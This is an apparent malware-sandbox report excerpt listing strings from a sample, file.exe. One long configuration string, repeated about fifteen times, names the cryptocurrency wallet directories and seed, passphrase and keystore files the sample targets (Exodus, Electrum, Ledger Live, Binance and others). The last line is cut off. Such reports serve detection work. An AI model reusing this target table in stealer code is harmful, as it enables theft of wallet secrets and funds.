Source: file.exe, 00000000.00000002.2517335011.0000000000EB6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2517335011.0000000000EB6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2517335011.0000000000EB6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2517335011.0000000000EB6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2517335011.0000000000EB6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2517335011.0000000000EB6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2517335011.0000000000EB6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2517335011.0000000000EB6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2516211934.0000000000BE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\simple-storage.jsonY
Source: file.exe, 00000000.00000002.2517335011.0000000000EB6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2517335011.0000000000EB6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2517335011.0000000000EB6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2517335011.0000000000EB6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2517335011.0000000000EB6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2517335011.0000000000EB6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx 